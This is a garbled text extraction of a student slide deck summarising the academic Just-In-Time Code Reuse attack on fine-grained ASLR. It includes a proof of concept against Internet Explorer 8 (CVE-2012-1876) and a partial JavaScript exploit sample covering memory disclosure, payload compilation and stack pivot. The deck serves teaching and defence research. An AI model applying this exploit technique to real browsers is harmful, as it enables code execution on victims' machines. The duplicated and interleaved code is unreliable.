just in time code reuse
play

Just-In-Time Code Reuse: On the Effec7veness of - PowerPoint PPT Presentation

Just-In-Time Code Reuse: On the Effec7veness of Fine-Grained Address Space Layout Randomiza7on Kevin Z. Snow, Fabian Monrose Lucas Davi,


  1. Just-­‑In-­‑Time ¡Code ¡Reuse: ¡ On ¡the ¡Effec7veness ¡of ¡Fine-­‑Grained ¡Address ¡ Space ¡Layout ¡Randomiza7on ¡ ¡ ¡ Kevin ¡Z. ¡Snow, ¡Fabian ¡Monrose ¡ Lucas ¡Davi, ¡Alexandra ¡Dmitrienko, ¡Christopher ¡Liebchen, ¡ Ahmad-­‑Reza ¡Sadeghi ¡ ¡ ¡ ¡ ¡

  2. CS457 ¡Presenta7on ¡ Kostas ¡Plelis ¡ Athanasiadi ¡Natalia ¡ Mitrousias ¡Aristeidis ¡ ¡ Athanasakis ¡Michalis ¡ ¡

  3. Introduc7on ¡

  4. ROP ¡chain ¡

  5. Fine-­‑grained ¡randomiza7on ¡

  6. Adversarial ¡Model ¡ Target ¡plaUorm ¡uses ¡following ¡mechanisms: ¡ Ø Non ¡– ¡Executable ¡Memory ¡ Ø JIT ¡mi7ga7ons ¡ – Random ¡NOP ¡inser7on ¡ – Randomized ¡JIT ¡pages ¡ – Constant ¡variable ¡modifica7ons ¡ Ø Export ¡Address ¡Table ¡Access ¡Filtering ¡ ¡ Ø Base ¡Address ¡Randomiza7on ¡ Ø Fine-­‑grained ¡Randomiza7on ¡

  7. Workflow ¡of ¡JIT ¡code-­‑reuse ¡ Leak ¡Code ¡Pointer ¡ Find ¡Gadgets ¡ Map ¡Memory ¡ Exploit ¡ Descrip7on ¡ Compile ¡ ¡ROP ¡ Find ¡API ¡ program ¡ func7ons ¡ Vulnerable ¡ Applica7on ¡

  8. Map ¡Memory ¡

  9. Find ¡API ¡Calls ¡

  10. Find ¡Gadgets ¡

  11. JIT ¡Compile ¡ our high-level language gadgets available LoadLibrary (“kernel32”); MovRegG& GetProcAddress (@, “WinExec”); LoadRegG& @(“calc”, SW_SHOWNORMAL ); LoadLibrary (“kernel32”); JumpG& GetProcAddress (@, “ExitProcess”); @(1); fullfill with available gadgets Gadget 1 Gadget 2 Gadget 3 Gadget 4 Gadget 5 Gadget 6 ... Serialize generate possible gadget arrangements

  12. Implementa7on ¡Overview ¡

  13. Proof ¡of ¡Concept ¡ Ø Targets ¡Internet ¡Explorer ¡ – IE8 ¡running ¡on ¡Windows ¡7 ¡ – CVE-­‑2012-­‑1876 ¡(heap ¡overflow ¡vulnerability) ¡ – Many ¡more ¡vulnerabili7es ¡available ¡that ¡could ¡be ¡ u7lized ¡ Ø Loads ¡Windows ¡calculator ¡upon ¡browsing ¡the ¡ malicious ¡HTML ¡page ¡

  14. Proof ¡of ¡Concept ¡ • Need ¡memory ¡disclosure ¡interface ¡& ¡code ¡ pointer ¡ Ø Heap ¡Feng ¡Shui ¡ o Buffer ¡to ¡overflow ¡ o String ¡object ¡ o Bueon ¡object ¡( CButtonLayout ) ¡ Ø Overwrite ¡string’s ¡length ¡property ¡ o Through ¡overflow ¡ o Set ¡it ¡to ¡2^32 ¡ ¡ Ø Now ¡possible ¡to ¡read ¡any ¡rela6ve ¡memory ¡address ¡ o Using ¡string’s ¡ ¡ charCodeAt() ¡ method ¡

  15. Proof ¡of ¡Concept ¡ • Need ¡memory ¡disclosure ¡interface ¡& ¡code ¡ pointer ¡ Ø Harvest ¡self-­‑reference ¡from ¡bueon ¡object ¡ o Use ¡reference ¡to ¡implement ¡ ¡ DiscloseByte ¡ ¡ o Translates ¡rela7ve ¡addresses ¡to ¡absolute ¡addresses ¡ Ø Harvest ¡func7on ¡pointer ¡from ¡bueon ¡object ¡ o Pass ¡it ¡to ¡HarvestCodePages ¡ • JIT-­‑compile ¡target ¡program ¡ ¡ Ø Coded ¡in ¡a ¡simple ¡high-­‑level ¡language ¡ Ø Compiled ¡to ¡a ¡series ¡of ¡gadgets, ¡inline ¡with ¡exploit ¡ buffer ¡construc7on ¡

  16. Proof ¡of ¡Concept ¡ • Program ¡flow ¡redirec6on ¡ Ø Bueon ¡object ¡func7on ¡pointer ¡overwrieen ¡using ¡ the ¡same ¡construc7on ¡ Ø Now ¡points ¡to ¡a ¡stack ¡pivot ¡gadget ¡ Ø Stack ¡pivot ¡switches ¡the ¡stack ¡to ¡begin ¡execu7on ¡ of ¡NOP ¡gadget ¡sled ¡ Ø Execu7on ¡of ¡target ¡program ¡follows ¡

  17. if (address & 1) return value >> 8; // get upper Exploit Code Sample Exploit Code Sample 9 // ... snip ... // ... snip ... 1 1 // The string object is overwritten, and initial code // The string object is overwritten, and initial code 2 2 return value & 0xFF; // value is 2 bytes, get lower 10 // pointer harvested prior to this snippet of code // pointer harvested prior to this snippet of code 3 3 4 4 }; // Step 1, implement DiscloseByte interface // Step 1, implement DiscloseByte interface 5 5 11 framework.prototype.DiscloseByte = function(address) { framework.prototype.DiscloseByte = function(address) { 6 6 var value = this.string_.charCodeAt( var value = this.string_.charCodeAt( 7 7 12 (address - this.absoluteAddress_ - 8)/2); (address - this.absoluteAddress_ - 8)/2); 8 8 if (address & 1) return value >> 8; if (address & 1) return value >> 8; // get upper // get upper 9 9 // Define target program (’@’ is shorthand return value & 0xFF; // value is 2 bytes, get lower return value & 0xFF; // value is 2 bytes, get lower 10 10 13 }; }; 11 11 // for ’last value returned’) 12 12 14 // Define target program (’@’ is shorthand // Define target program (’@’ is shorthand 13 13 // for ’last value returned’) // for ’last value returned’) 14 14 var program = var program = var program = 15 15 15 ”LoadLibraryW(L’kernel32’);” + ”LoadLibraryW(L’kernel32’);” + 16 16 ”GetProcAddress(@, ’WinExec’);” + ”GetProcAddress(@, ’WinExec’);” + ”LoadLibraryW(L’kernel32’);” + 17 17 16 ”@(’calc’, 1);” + ”@(’calc’, 1);” + 18 18 ”LoadLibraryW(L’kernel32’);” + ”LoadLibraryW(L’kernel32’);” + 19 19 ”GetProcAddress(@, ’WinExec’);” + ”GetProcAddress(@, ’ExitProcess’);” + ”GetProcAddress(@, ’ExitProcess’);” + 17 20 20 ”@(1);”; ”@(1);”; 21 21 ”@(’calc’, 1);” + 22 22 18 // Steps 2-4, harvest pages, gadgets, functions // Steps 2-4, harvest pages, gadgets, functions 23 23 framework.HarvestCodePages(this.initialCodePtr_); framework.HarvestCodePages(this.initialCodePtr_); 24 24 ”LoadLibraryW(L’kernel32’);” + 25 25 19 // Step 5, 6 - jit-compile and build exploit buffer // Step 5, 6 - jit-compile and build exploit buffer 26 26 var exploitBuffer = var exploitBuffer = ”GetProcAddress(@, ’ExitProcess’);” + 27 27 20 repeat(0x3E, unescape("%u9191%u9191")) + // Id repeat(0x3E, unescape("%u9191%u9191")) + // Id 28 28 repeat(0x19, framework.NoOpG()) + repeat(0x19, framework.NoOpG()) + // Sled // Sled 29 29 ”@(1);”; unescape(framework.Compile(program)) + unescape(framework.Compile(program)) + // Payload // Payload 21 30 30 repeat(0x12, unescape("%u4545%u4545")) + // Pad repeat(0x12, unescape("%u4545%u4545")) + // Pad 31 31 repeat(0x32, framework.StackPivotG()); repeat(0x32, framework.StackPivotG()); // Redirect // Redirect 32 32 22 33 33 // overwrite with the exploit buffer // overwrite with the exploit buffer 34 34 // Steps 2-4, harvest pages, gadgets, functions // ... snip ... // ... snip ... 23 35 35 End Code End Code framework.HarvestCodePages(this.initialCodePtr_); 24 25 // Step 5, 6 - jit-compile and build exploit buffer 26 var exploitBuffer = 27

  18. Evalua7on ¡

  19. Evalua7on ¡

  20. Evalua7on ¡

  21. Evalua7on ¡

  22. Mi7ga7ons ¡ • Re-­‑randomiza7on ¡of ¡code ¡pages ¡ • Defenses ¡that ¡hinder ¡the ¡first ¡stage ¡ • Instruc7on ¡Set ¡Randomiza7on ¡ • Control ¡Flow ¡Integrity ¡(CFI) ¡ A ¡bunch ¡of ¡other ¡tradi7onal ¡defenses ¡that ¡ authors ¡do ¡not ¡believe ¡that ¡could ¡work… ¡

  23. Apes! ¡Together, ¡strong! ¡

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend